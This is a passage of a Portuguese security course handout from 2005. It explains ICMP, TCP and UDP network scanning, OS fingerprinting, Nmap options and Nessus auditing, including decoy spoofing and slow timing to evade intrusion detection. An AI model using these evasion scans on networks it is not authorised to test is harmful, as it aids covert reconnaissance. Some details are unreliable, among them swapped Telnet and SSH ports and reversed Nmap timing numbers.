Para realizar a varredura da rede, caractersticas especficas do seu protocolo devem ser exploradas. Como o protocolo de rede utilizado na especificao do modelo o TCP/IP, as tcnicas de varredura aqui descritas so aquelas que se baseiam nas caractersticas desta pilha de protocolo. Sobre a pilha do TCP/IP existem trs tipos bsicos de varreduras: uma baseada no seu protocolo de controle (ICMP), outra no protocolo TCP e a terceira no protocolo UDP. Dentre as varreduras, a mais utilizada a TCP, isto se deve ao elevado nvel de exatido que esta coleta de dados propicia.

8.1) Varredura ICMP - Internet Control Message Protocol


Uma das tcnicas mais simples de varredura a Varredura via ICMP. O protocolo ICMP normalmente utilizado para o envio e recebimento de informaes sobre o funcionamento dos ns, como por exemplo, data e hora. Atravs deste protocolo possvel implementar vrios mtodos de varreduras, como por exemplo: envio de ECHO e ECHO Reply; anlise de mensagens de erro geradas por um n, uso de Trace Route com ICMP ECHO e etc. ICMP ECHO e ECHO Reply : Esta varredura consiste no envio de pacotes do tipo ICMP ECHO ao n alvo e aguardar por uma resposta. Todo n ativo deve responder a esta mensagem com um pacote do tipo ICMP ECHO Reply . Quando um n no responde aos pacotes ICMP ECHO dentro de um intervalo de tempo (time-out), o mesmo pode estar desconectado ou sendo filtrado por algum firewall ou gateway de borda. Um exemplo de varredura via ICMP a utilizao do comando "ping" , que um aplicativo padro TCP/IP que est presente em vrias arquiteturas permite o envio de pacotes do tipo ICMP ECHO. para verificar se um n est ativo. Porm, esta forma de verificao no indicada para redes com mais do que poucas dezenas de ns. O ping sempre espera a resposda de um n ao pacote enviado, ou at que ocorra o time-out, antes de enviar um outro pacote. Uma alternativa ao ping o aplicativo fping, que utilitrio de rede disponvel para as

plataformas Unix-Like e que funciona de forma anloga ao ping, mas com o envio de pacotes de forma paralela que utiliza a mesma tcnica, entretanto realiza o envio dos
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 41 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

pacotes ICMP de forma simultnea para vrios endereos, acelerando o processo de varredura da rede. Outra funcionalidade deste aplicativo a possibilidade de se configurar o "time-out" da conexo. O uso do endereo de Broadcast e de Rede so duas alternativas que podem ser utilizadas neste tipo de varredura. Neste caso, todos os ns ativos na rede devem responder ao n que originou a mensagem com um pacote ICMP ECHO Reply. Desta forma, com um nico pacote possvel varrer todo um segmento de rede. Entretanto, esta tcnica s pode ser aplicada para ns baseados no Unix , uma vez que mquinas com sistema operacional da Microsoft no respondem a solicitao ICMP quando enviada ao endereo de Broadcast ou de Rede. Pois segundo a RFC1122, se um pacote ICMP ECHO enviado via endereo de Broadcast ou de Rede, o mesmo pode ser silenciosamente descartado pelo ns que o recebe. A varredura utilizando endereo de Broadcast ou Rede, pode provocar uma negao de servio ( D.o.S - Denial-of-Service) no n responsvel pelo envio dos pacotes ICMP ECHO. Esta negao de servio ocorre devido grande quantidade de pacotes de resposta que ele recebe para cada pacote ICMP gerado. Non-ECHO ICMP : Alm da mensagem ICMP ECHO, o protocolo ICMP implementa vrios outros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no prprio mapeamento de dispositivos de rede. Dentre as principais mensagens ICMP pode-se destacar: ECHO ( Request - Tipo 8 , Reply - Tipo 0); Time Stamp ( Request - Tipo 13 , Reply - Tipo 14); Information ( Request - Tipo 15 , Reply - Tipo 16) e Address Mask ( Request - Tipo 17 , Reply - Tipo 18). O envio de mensagens do tipo ICMP Time Stamp Request utilizado normalmente, para questionar a um n a sua hora e data atual. Receber uma resposta ICMP Time Stamp Reply , significa que o n est ativo. Contudo, as mensagens ICMP Time Stamp Request no costumam ser respondidas por ns com um dos sistemas operacionais da Microsoft. O comportamento dos sistemas da Microsoft se deve forma como a RFC 1122 foi interpretada pelos seus desenvolvedores. A mensagem ICMP Address Mask Request utilizada por uma mquina sem disco, para obter a mscara de rede durante seu processo de boot e tambm pode ser utilizada para realizar a varredura da rede. Quando uma solicitao deste tipo feita atravs do endereo de Broadcast todos os ns
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 42 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

que esto configurados para responder a esta mensagem envia um "reply" com o endereo solicitado. Normalmente este tipo de mensagem respondida por Gateways, Roteadores e em alguns casos por mquinas, que funcionam como agentes autorizados para o fornecimento de mscara de rede. ICMP Error Messages: Este mtodo consiste no envio de mensagens formatadas de tal modo que ao serem recebidas pelo n produziro uma mensagem de erro do protocolo ICMP. Uma das formas de se provocar uma mensagem de erro atravs do envio de pacotes IP que possuem em seu cabealho campos incorretos. Pacotes deste tipo normalmente geram uma mensagem de erro do tipo "ICMP Parameter Problem Error" , que normalmente possui o campo "Code" configurado para zero (0). Esta varredura permite identificar ns ativos, independentemente dos protocolos (TCP/UDP/ICMP) implementados por eles, que tambm pode ser empregada sobre roteadores. Contudo, roteadores realizam uma verificao mais relaxada dos campos do cabealho IP, como afirma a RFC1812 . Outra vantagem que, esta tcnica pode ser aplicada mesmo se o n est sendo filtrado por algum firewall , uma vez que as mensagens forjadas podem ser enviadas para portas especficas, como por exemplo, as portas TCP: 21, 25, 80 e UDP 53. ICMP Fragment Reassembly Time Exceeded : Quando um n recebe um datagrama fragmentado em vrios pacotes e ao remont-los percebe que esto faltando alguns pacotes, ele os

aguarda por um determinado perodo de tempo, quando ento ir descartar todos os pacotes e enviar ao n que originou os datagramas, uma mensagem de erro do tipo: "ICMP Fragment Reassembly Time Exceeded" . ICMP Fragmentation Needed and Don't Fragment Bit was Set : Quando um roteador recebe uma mensagem, ele verifica o valor do campo "PMTU" , se este for maior do que o valor que ele est utilizando, o roteador pode retornar ao n, que gerou o pacote, uma mensagem de erro do tipo "ICMP Fragmentation Needed and Don't Fragment Bit was Set" . Utilizando esta tcnica, possvel determinar a existncia de Roteadores entre a mquina alvo e a mquina atual, bem como informaes especficas que podem ajudar determinar a suposta marca e modelo deste equipamento.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 43 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

8.2) Varredura de Portas


Vrios gateways de segurana impedem o envio e o recebimento de pacotes ICMP entre redes distintas, para inibir a varredura ICMP . Quando as varreduras baseadas no protocolo ICMP no podem ser utilizadas, a Varredura de Portas uma alternativa eficiente, uma vez que sempre existem portas atravs das quais um gateway permite o trfego de entrada e sada, como o caso das portas: 21 (FTP), 22 (Telnet), 23 (SSH), 25 (SMTP), 80 (HTTP), 110 (POP) e 443 (HTTPS) . As varreduras de porta so normalmente baseadas ou no protocolo TCP ou no protocolo UDP . Devido suas caractersticas, o protocolo TCP aquele que apresenta a maior variedade de tipos de varredura.

8.2.1) Varredura de Portas TCP


A varredura de portas TCP feita pelo envio de pacotes porta alvo e aguardando-se pelas respostas. Quando a porta alvo responde, os pacotes recebidos tero alguns de seus campos analisados e, com base nesta anlise, ser possvel determinar se a porta est aberta e o n ativo. Atualmente, existem vrios tipos de varredura TCP, algumas das quais so descritas a seguir. Varredura de Conexo TCP : Nesta varredura, a mquina de origem tenta estabelecer uma conexo vlida com a porta alvo, durante a qual deve ocorrer o "3 way handshake" do protocolo TCP, este processo consiste no envio de um pacote "SYN" porta alvo, no recebimento de um pacote "SYN/ACK" \ e finalmente no envio do pacote "ACK" porta alvo. Caso a conexo seja completada com sucesso, possvel afirmar que a porta est aberta e o n ativo. Por realizar uma conexo completa, esta varredura pode ser facilmente percebida por ferramentas de deteco de intruso e por essa razo raramente utilizada com finalidade furtiva. Varredura TCP SYN : esta varredura tambm conhecida como varredura semi-aberta, pois ao receber o pacote "SYN/ACK" vindo da porta alvo, o n, que originou a primeiro pacote, no responde com o pacote "ACK" . Ao receber o pacote com os bits "SYN/ACK" setados, o n pode-se afirmar que a porta est aberta. Contudo, se for recebido um pacote com os bits "RST/ACK" , a porta provavelmente no est no estado de escuta.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 44 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Por ser uma tcnica mais furtiva, vrios sistema de monitoramento no registram este tipo de varredura.

Varredura TCP FIN : este tcnica muito utilizada contra sistemas baseados em UNIX, pois quando estes recebem um pacote "FIN" destinado porta fechada, eles enviam de volta um pacote "RST", contudo o mesmo no acontece com sistemas Windows que ignoram o pacote. Este padro documentado na RFC793 . Varredura TCP Xmas Tree : neste caso ocorre o envio de um pacote com os bits "FIN" , "URG" e "PUSH" ligados porta alvo e segundo a RFC793, toda porta fechada deve responder com um pacote "RST" Varredura TCP NULL : Quando uma porta alvo recebe um pacote com todos os flags desligados (setados como 0), ela deve responder com um pacote "RST" caso esteja fechada. Varredura TCP ACK : Esta tcnica usada para mapear regras de um determinado firewall, permitindo determinar se o firewall apenas um filtro de pacote ou um firewall de estados. Varredura TCP Windows : Esta tcnica analisa o tamanho do campo Window do protocolo TCP e permite determinar se a porta est aberta , filtrada ou no filtrada . Esta anlise possvel, pois alguns gateways de segurana alteram o valor deste campo quando filtram determinadas portas. Varredura TCP RPC : Esta tcnica permite identificar qual a verso dos aplicativos RPC \footnote {O servio RPC (Remote Procedure Call) especifico do sistema operacional UNIX. que esto ativos em um n Unix Like. Alguns dos servios que fazem uso do RPC so o NFS (Network File System) e o NIS (Network Information Service).

8.2.2) Varredura de Portas UDP


Apesar de existirem vrios tipos de varreduras TCP, existe somente uma baseada no protocolo UDP. Esta nica varredura consiste no envio de "datagramas" com zero (0) bytes de dados porta alvo. A resposta pode ser uma mensagem "ICMP port unreachable" indicando que a porta est fechada, caso no ocorra nenhuma resposta, a porta pode estar aberta ou sendo filtrada. Quando datagramas so enviados a vrias portas de uma mquina e um grande nmero delas no os responde, estas provavelmente esto em estado de escuta. Por outro lado, se nenhuma porta responde, isto pode indicar que ou o n est fora do ar ou o mesmo est sendo filtrado.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 45 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Uma forma alternativa de anlise consiste na escolha de uma porta UDP que, segundo a lista de porta definida pela IANA, no deve estar em estado de escuta, e no envio de pacotes, se a mesma no responder com uma mensagem "ICMP Port Unreachable Error" porque ela est sendo filtrada. Existe uma grande quantidade de ferramentas disponveis para se realizar a varredura de redes de computadores, no entanto, apenas algumas se destacam pelas suas funcionalidades, dentre elas: Varredura de ICMP: Ping, Fping, Hping, Nmap, Icmpenum e Icmpquery. Varredura de Portas: Nmap, Strobe, Udp_scan e Netcat.

8.3) Coleta do sistema operacional dos ns remotos


Utilizando-se das tcnicas de varredura, o modelo pode realizar o mapeamento de todo um segmento de rede, identificando ns ativos e portas abertas, porm estas tcnicas no permitem determinar,

com exatido, o Sistema Operacional ativo em um n remoto e portanto necessrio o uso de uma outra metodologia para este fim. A metodologia comumente utilizada para determinar o sistema operacional de um n se baseia na coleta de seu "fingerprint" ou sua "impresso digital" . Quando os desenvolvedores dos vrios sistemas operacionais implementam a pilha do protocolo TCP/IP , eles normalmente interpretam de forma distinta as recomendaes feitas pelas RFCs e produzem pilhas com caractersticas prprias. Estas caractersticas formam o "fingerprinting" de um n. Analisando o comportamento da pilha de uma determinada verso de um sistema operacional e mapeando o resultado dentro de um banco de dados, possvel utilizar estes dados para a verificao do sistema operacional de outros ns. O "fingerprinting" de um n pode ser coletado de forma Ativa , atravs do envio de pacotes ao n alvo e da anlise do pacotes recebidos, e de forma Passiva , pela anlise de pacotes pertencentes a conexes j estabelecidas e coletados diretamente pela interface de rede.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 46 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

8.3.1) Coleta ativa do fingerprinting


A coleta ativa do "fingerprinting" consiste no envio de pacotes prviamente formatados para o n alvo e na anlise de campos especficos dos pacotes recebidos como resposta. Neste tipo de coleta, a interface de rede no necessita ser colocada em modo promscuo. O "fingerprinting" ativo possui um elevado nvel de exatido, mas falha quando as caractersticas da pilha TCP/IP so alteradas pelo seu administrador. Isto normalmente ocorre quando o administrador realiza otimizaes no n ou quando ele implementa uma poltica baseada em "obscuridade" , na qual o "fingerprinting" alterado para forjar um outro sistema operacional. A coleta ativa da impresso digital de um n pode ser realizada atravs de vrias anlises simples, tais como: Sonda FIN: segundo a RFC973 , quando uma porta aberta recebe um pacote "FIN" no deve responder, entretanto algumas pilhas TCP/IP , como o caso da pilha do Windows NT, responde com uma mensagem FIN/ACK ; Sonda de Flag Falso: consiste no envio de um pacote SYN com o flag indefinido configurado como "1" , dependendo do sistema operacional. Este pacote pode ser respondido atravs de um pacote com o mesmo flag setado em "1". Este procedimento implementado pelo Linux e por outros sistemas Unix Like ; Bit no Fragmentar: para permitir um melhor desempenho do protocolo, TCP/IP alguns sistema operacionais setam este campo com o valor "1" e outros, como o caso do Solaris , no permitem o seu uso; Tamanho da Janela TCP: o tamanho deste campo normalmente dependente do sistema operacional. Por exemplo: o AIX o nico sistema operacional a utilizar o valor Ox3F25 para este campo; Numero Seqencial do ACK: esta tcnica consiste em observar o valor do nmero seqencial do

pacote ACK . Alguns sistemas respondem ao pacote com o mesmo nmero seqencial daquele que o originou, outros incrementam este valor em uma unidade antes de respond-lo; Limitao das Mensagem de Erro ICMP: alguns sistemas operacionais, seguindo as recomendaes da RFC1812, limitam a taxa de envio das mensagens de erro ICMP a um determinado valor por intervalo de tempo. Sendo este valor padronizado, basta enviar vrios pacotes UDP uma porta fechada e aguaradar a mensagem "ICMP port unreachable" . Esta tcnica normalmente no muito
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 47 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

utilizada, pois torna a coleta do fingerprinting lenta ; Tipo de Servio (TOS): a maioria dos sistema operacionais setam este campo para zero (0) quando enviam uma mensagem " ICMP port unreachable ", apesar de alguns sistemas operacionais utilizam valores diferentes. Opes do TCP: as opes bsicas do protocolo TCP so determinadas pela RFC793 e pela RFC1323, j as opes avanadas so definidas pela RFC1323. Realizando o envio de vrios pacotes com valores especficos nestes campos e analisando a resposta, pode-se supor o sistema operacional ativo, visto que nem todos os sistemas implementam todas as opes descritas nestas RCFs . Existem ainda outras tcnicas que no se utilizam de pacotes TCP ou UDP, ao invs disto, fazem uso de mensagens de ICMP. Estas tcnicas foram utilizadas por Ofir Arkin na construo da ferramenta Xprobe .

8.3.2) Coleta passiva do fingerprinting


A coleta passiva consiste na captura de pacotes, pertencentes s conexes ativas, por um sniffer. Sniffers so utilitrios de rede que operam em modo promscuo e permitem a coleta dos dados das conexes de outras estaes de trabalho, sem que ocorra a alterao da mesma ou que a ao seja detectada e da anlise dos mesmos. Esta coleta necessita que a interface de rede esteja operando em modo promscuo. No modo promscuo todo o trfego de dados pode ser capturado por uma interface de rede, independentemente do endereo de destino , no gerando assim trfego na rede. O fingerprinting passivo possui a grande de vantagem ser indetectvel pelo n alvo. Por outro lado, caso existam pacotes forjados circulando pela rede, a coleta passiva pode ser induzida a determinar de forma errnea o sistema operacional de alguns ns. A anlise dos pacotes coletados pela interface de rede tem por finalidade determinar as "idiossincrasias" nas implementaes das pilhas TCP/IP de cada sistema operacional. Os principais campos utilizados para identificar o sistema operacional de um n so: o TTL , o Windows Size , o DF e o TOS , pois possuem valores tabelados de acordo com o sistema operacional e sua verso. Durante uma anlise, o primeiro campo verificado o campo TTL . Quando o valor deste campo igual 64, o pacote provavelmente pertence a um n com Linux ou FreeBSD.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 48 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

O segundo campo analisado o Windows Size , que normalmente possui valor igual a 0x7D78 quando a mquina possui uma verso do Windows ou do Linux instalado. O terceiro campo verificado o

flag DF , que indica se o pacotes est fragmentado ou no. Poucos so os sistemas que setam este bit como "zero", mas o SCO e o OpenBSD utilizam este padro. O ultimo campo verificado o TOS , que na maioria das mensagem est setado para "zero". Por exemplo: suponha que um dos pacotes capturados pelo "sniffer" apresente as caractersticas abaixo . Cruzando os dados coletados com as informaes acima, pode-se concluir que o n provavelmente roda uma verso do Kernel do Linux. TTL 64 Window Size 0x7D78 DF bit 1 TOS 0x0 Outros campos tambm podem ser utilizados na deteco do sistema operacional de forma passiva, mas softwares como o Siphon, p0f e o Cheops utilizam somente estes quatro campos para gerar e verificar as assinaturas dos sistemas operacionais.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 49 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

9)Kit de Ferramentas
As prximas sesses apresentam algumas ferramentas comumente utilizadas por administradores no processo de verificaao do nvel de segurana de seus ambientes.

9.1) Nmap
O Nmap fornece, de uma maneira geral, a relao de computadores e servios ativos. Existem diversas formas e parmetros a serem informados durante uma varredura. Para obter o cdigo fonte s acessar o link abaixo e procurar por Latest Stable Version Tarball: http://www.insecure.org/nmap_download.html Este aplicativo possui os seguintes mtodos de varredura: -sP ou Ping scan: Algumas vezes necessrio saber se um determinado host ou rede est no ar. Nmap pode enviar pacotes ICMP echo request para verificar se determinado host ou rede est ativa. Hoje em dia, existem muitos filtros que rejeitam os pacotes ICMP echo request, ento envia um pacote TCP ACK para a porta 80 (default) e caso receba RST o alvo est ativo. A terceira tcnica envia um pacote SYN e espera um RST ou SYN-ACK. -sR ou RCP scan: Este mtodo trabalha em conjunto com vrias tcnicas do Nmap. Ele considera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC, para determinar se realmente so portas RPC. como se o comando rpcinfo -p estivesse sendo utilizado, mesmo atravs de um firewall ( ou protegido por TCP wrappers ). -sS ou TCP SYN scan: Tcnica tambm conhecida como half-open, pois no abre uma conexo TCP completa. enviado um pacote SYN, como se ele fosse uma conexo real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta est aberta, enquanto um como resposta indica que a porta est fechada. A vantagem dessa abordagem que poucos iro detectar esse scanning de portas. -sT ou TCP connect() scan: a tcnica mais bsica de TCP scanning. utilizada a chamada de sistema (system call) connect() que envia um sinal as portas ativas. Caso a porta
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 50 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

esteja aberta recebe como resposta connect(). um dos scan mais rpidos, porm fcil de ser detectado. -sU ou UDP scan: Este mtodo utilizado para determinar qual porta UDP est aberta em um host. A tcnica consiste em enviar um pacote UDP de 0 byte para cada porta do host. Se for recebido uma mensagem ICMP port unreachable ento a porta est fechada, seno a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugesto da RFC e com isso a varredura de mquinas Windows muito rpida. -sV ou Version detection: Aps as portas TCP e/ou UDP serem descobertas por algum dos mtodos, o nmap ir determinar qual o servio est rodando atualmente. O arquivo

nmap-service-probes utilizado para determinar tipos de protocolos, nome da aplicao, nmero da verso e outros detalhes. -sF, -sX, -sN ou Stealth FIN, Xmas Tree ou Null: Alguns firewalls e filtros de pacotes detectam pacotes SYN's em portas restritas, ento necessrio utilizar mtodos avanados para atravessar esses softwares. FIN: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. (Esse mtodo no funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 973) Xmas Tree: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. As flags FIN, URG e PUSH so utilizados no pacotes FIN que enviado ao alvo. (Esse mtodo no funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 973) Null: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. Nenhuma flag ligada no pacote FIN. (Esse mtodo no funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 973) Alm destas o nmap possui outras opes de uso geral, das quais podemos destacar: -D <decoy1 [,decoy2][,VOCE],...> :Durante uma varredura, utiliza uma srie de endereos falsificados, simulando que o scanning tenha originado desses vrios hosts, sendo praticamente impossvel identifiicar a verdadeira origem da varredura. nmap -D IP1,IP2,IP3,IP4,IP6,SEU_IP alvo
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 51 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

-F : Procura pelas portas que esto no /etc/services. Mtodo mais rpido, porm no procurar por todas as portas. nmap -F alvo -I : Se o host estiver utilizando o ident, possvel identificar o dono dos servios que esto sendo executados no servidor (trabalha com a opo -sT) nmap -sT -I alvo -n : No ir resolver nome de hosts a ser varrido. nmap -n alvo -O : Ativa a identificao do host remoto via TCP/IP. Ir apresentar verso do Sistema Operacional e tempo ativo. nmap -O alvo -p <lista_de_portas> : Especifica quais portas devem ser verificadas na varredura. Por default, todas as portas entre 1 e 1024 so varridas. nmap -p 22,80 alvo nmap -p U:53,111,137,T:21-25,80,139,8080 -P0 :No tenta pingar o host antes de iniciar a varredura. Isto permite varrer alvos que bloqueiam ICMP echo request (ou responses) atravs de firewall. nmap -P0 alvo -PS[lista_de_portas] :Usa pacotes SYN para determinar se o host est ativo. nmap -PS80 alvo -PT[lista_de_portas] : Usa TCP ping para determinar se o host est ativo. nmap -PT80 alvo -R : Ir resolver nome de hosts a ser varrido. nmap -R80 alvo
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 52 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

-r : A varredura ser feita nas portas randomicamente, no seguinte a ordem crescente. nmap -r alvo -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> Esse parmetro seta a prioridade de varredura do Nmap: Paranoid (-T5) muito lento na esperana de prevenir a deteco pelo sistema IDS. Este serializa todos os scans (scanning no paralelo) e geralmente espera no mnimo 5 minutos entre o envio de pacotes. Sneaky (-T4) similar ao Paranoid, exceto que somente espera 15 segundos entre o envio de pacotes. Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances de

travar a mquina. Ele serializa os testes e espera no mnimo 0.4 segundos entre eles. Normal (-T2) o comportamento default do Nmap, o qual tenta executar to rpido quanto possvel sem sobrecarregar a rede ou perder hosts/portas. Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nunca espera mais que 1.25 segundos para testar as respostas. Insane (-T0) somente adequando para redes muito rpidas ou onde voc no se importa em perder algumas informaes. Nesta opo o timeout dos hosts acontecem em 75 segundos e espera somente 0.3 segundos por teste individual. -ttl <valor> : Altera o valor do TTL (Time to Live), dessa forma dificulta a origem do pacote. nmap -ttl 55 alvo -v : Modo verbose. Mostra tudo o que est se passando. nmap -v alvo

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 53 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizao: nmap -v alvo Esta opo faz a varredura de todas as portas TCP reservadas. nmap -sS -O alvo Lana uma varredura TCP Syn contra cada mquina que est ativa, abrangendo todas as 255 mquinas de classe C onde alvo faz parte. Alm disso determina o sistema operacional de cada host. nmap -sX -p 22,53,110,143 alvo Envia uma varredura Xmas Tree para o alvo, alm de varrer somente os servios de sshd, Dns, pop3d e imapd.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 54 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

9.2) Nessus
Nessus uma ferramenta para auditoria de segurana. Com ele possvel verificar varias vulnerabilidades em sua rede. O nessus permite que se faa isso de uma forma segura, nao permitindo que usurios no autorizados possam scanear sua rede com ele. Ele composto por duas partes, sendo um cliente e um servidor. Pode-se us-lo a partir do windows, porm isso no ser abordado nesse artigo. Ele possui uma srie de recursos bastante interessantes como trabalhar em conjunto com o nmap e tambm a possibilidade de atualizao apenas baixando novos plugins de ataques e/ou vulnerabilidades. O Nessus foi criado em 1998 por Renaud Deraison, sendo que naquela poca o melhor security scanner era o SATAN ( que se encontrava bastante desatualizado ). Deraison resolveu dividir o sistema em plugins, facilitando muito a atualizao e a preveno contra novos ataques. A partir da verso 1.0.0 foi criado um script que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade e assim sugerir uma forma ou explicao para corrigi-la. O nessus possui uma GUI muito flexvel onde voc configura vrios detalhes de varredura na sua rede. Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que sero scanneados. Primeiramente rode o nessus cliente, bastando para isso digitar nessus na linha de comando. Ele pedir, entao, a senha que voc configurou inicialmente. Vamos abordar agora quais so as opes de configurao do cliente nessus. Nessus host : nesta aba de configurao voc deve especificar o endereo ip do daemon nessus e tambm a porta tcp em que ele est rodando (geralmente 1241). Nesta tela tambm possvel optar pelo

algoritmo de criptografia que ser usado. Tambm preciso especificar o nome do usurio para logar no daemon. Plugins : Aqui reside todo o poder do nessus, nesta aba se encontram as exploraes (exploits) das vulnerabilidades conhecidas em forma de plugins. O nessus se vale destes plugins para avaliar as vulnerabilidades do sistema scanneado. Prefs. : So especificados valores como usurios e senhas de servios como ftp, pop, imap e smb. De porte desses dados o nessus pode fazer verificaes muito mais eficitentes nos seus hosts, j que alguns exploits pressupem que o "explorador" possui uma conta vlida de algum desses servios. Tambm possvel configurar o tipo de scan que ser usado pelo nmap ( caso possua ). Scan Option -> Aqui pode-se especificar as portas que sero scaneadas pelo nessus, use virgula para portas individuais e hfen para intervalos(80,110,443-1024). No caso de utilizar o nessus para scanear servidores web bastante interessante especificar o path, ou caminho, dos CGI's no seu servidor. Por
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 55 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

exemplo se voc especificar o path /cgi-bin/ para o nessus procurar por CGI's "exploitveis" em http://host/cgi-bin/. Target Selection : Preencha o nico campo desta aba para especificar as mquinas que sero scaneadas. Clicando no boto "Read file..." voc especifica um arquivo onde esto o endereos IP das mquinas a serem verificadas. User : Aqui esto suas informaces pessoais como a chave que deve ser usada e tambm pode-se trocar a sua senha do nessus Abaixo temos as principais telas deste aplicativo:
( Aba Host) (Aba Plugins)

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 56 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
( Aba Perfs) (Aba Scan Options) ( Aba Target Selection) (Aba KB)

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 57 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

9.2.1)Iniciando a inspeo na sua rede.


Assim que voc iniciar o nessus lhe ser solicitado a senha. A primeira tela que ir surgir a nessus host nesta tela se encontram, alm da opes citadas acima, o boto de login clicando nele voc ja poder configurar os plugins que sero utilizados. Agora na aba Plugins voc escolhe quais "ataques" e exploraes devero ser aplicadas aos seus alvos. Como j foi citado este um dos maiores diferenciais do nessus, os plugins esto separados por categorias e cada um deles possui um texto explicando o que aquele exploit faz e tambm o grau de risco bem como resolver o problema caso esta vulnerabilidade seja encontrada. Caso alvos sejam mquinas que esto em produo no aconselho usar utilizar o plugins de DoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas. Se os alvos estiverem abertos para internet importante marcar ao menos as seguintes categorias : Gain Shell

Remotely, Gain Root Remotely, Backdoors, Remote File Access. Cabe a voc analisar quais plugins devero ser utilizados na varredura, caso sua rede seja composta apenas por sistemas *NIX no existe a menor necessidade de utilizar os plugins referentes a Wingate, por exemplo. Aps escolher os plugins mais adequandos a sua rede vamos escolher quais hosts sero scaneados. Clique na aba Target Selection e especifique as mquinas que deseja scanear ( todas elas devem estar com o nessusd rodando ). Como mencionado acima voc deve colocar os alvos(targets) separados por vrgula ou especificar um arquivo de onde onde o nessus ir ler os alvos. Com tudo configurado(geralmente no preciso mudar muita coisa) voc pode iniciar a varredura em sua rede para isto clique no boto "Start the scan". Agora o nessus ir varrer sua rede isso pode demorar um pouco conforme a velocidade da rede e quantidade de plugins que voc selecionou. Feito a varredura podemos verificar a falhas de segurana e as recomendaes do nessus para as vulnerabilidades encontradas. Na tela Nessus Report voc v os hosts scaneados a esquerda e as vulnerabilidades encontradas em cada um deles direita. Clicando no sinal de + sobre as vulnerabilidades tem-se a explicao do problema e tambm como proceder para corrigi-lo. Para uma futura referncia podese tambm exportar o relatrio basta escolher o formato e clicar em "Save as..." recomendo escolher a opco "Save as HTML with pies an graphs" com isso nessus ir salvar os resultados na pasta que voc escolher e tambm gerar grficos sobre as vulnerabilidades de sua rede juntamente com o tradicional relatrio em HTML. Para realizar a atualizao de seus plugins, o nessus possui um script, que para funcionar necessita que se esteja conectado na internet. Para executa-lo rode o seguinte comando: nessus-update-plugins -v
